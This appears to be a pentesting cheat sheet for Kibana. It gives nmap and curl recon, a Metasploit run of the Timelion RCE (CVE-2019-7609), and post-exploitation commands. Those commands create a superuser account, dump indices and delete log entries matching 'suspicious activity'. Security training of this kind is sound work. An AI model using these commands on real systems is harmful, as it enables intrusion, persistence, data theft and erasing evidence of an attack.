Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Kibana

Default Port: 5601

Kibana is an open-source data visualization and exploration tool used for log and time-series analytics. It provides powerful and beautiful dashboards for real-time visualization of data in Elasticsearch.

Connect

Accessing Kibana

To interact with Kibana, you will typically use a web browser to connect to its web interface. The default port for Kibana is 5601.

http://<target-ip>:5601

Recon

Detecting Kibana Service

Nmap can be used to detect whether the Kibana service is running on a target machine.

nmap -p5601 <target-ip>

Additionally, you can use a service detection script for more detailed information.

nmap --script http-kibana-detect -p 5601 <target-ip>

Enumeration

Enumerating Kibana Version

Kibana exposes operational and version information through its GET /api/status endpoint. Depending on the deployment, the endpoint may require authentication:

curl -s http://<target-ip>:5601/api/status
curl -s -u <username>:<password> https://<target-ip>:5601/api/status

Record the exact Kibana version before checking version-specific vulnerabilities.

Attack Vectors

Authentication Configuration

Current Elastic Stack installations do not have a universal elastic:changeme credential. The built-in elastic account receives a deployment-specific password during setup, and Kibana may also use external authentication realms. Review the exposed login method and test only credentials that apply to the deployment.

Local File Inclusion (CVE-2018-17246)

CVE-2018-17246 allowed a remote attacker to make Kibana load a local file as JavaScript. Elastic fixed the issue in Kibana 5.6.13 and 6.4.3. Confirm the exact version and patch status before treating an instance as affected.

Timelion Remote Code Execution (CVE-2019-7609)

According to Elastic's security advisory, Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. Current Metasploit releases include a module for this vulnerability:

msfconsole
use exploit/linux/http/kibana_timelion_prototype_pollution_rce
set RHOSTS <target-ip>
set RPORT 5601
run

Post-Exploitation

Creating a Native Elasticsearch User

With credentials that have the manage_security cluster privilege, use the Elasticsearch user API to create a native user. This request is sent to Elasticsearch, not Kibana:

curl -u <admin-user>:<password> \
-X POST 'https://<elasticsearch-host>:9200/_security/user/<username>' \
-H 'Content-Type: application/json' \
-d '{
"password": "<new-password>",
"roles": ["superuser"]
}'

Enumerating Elasticsearch Indices

If Elasticsearch is directly reachable and the account has the required index privileges, list indices and query a selected index:

curl -u <username>:<password> 'https://<elasticsearch-host>:9200/_cat/indices?v'
curl -u <username>:<password> 'https://<elasticsearch-host>:9200/<index>/_search?pretty'

Deleting Matching Documents

The _delete_by_query API is an Elasticsearch operation and requires sufficient privileges on the selected index:

curl -u <username>:<password> \
-X POST 'https://<elasticsearch-host>:9200/<index>/_delete_by_query' \
-H 'Content-Type: application/json' \
-d '
{
"query": {
"match": {
"message": "suspicious activity message"
}
}
}'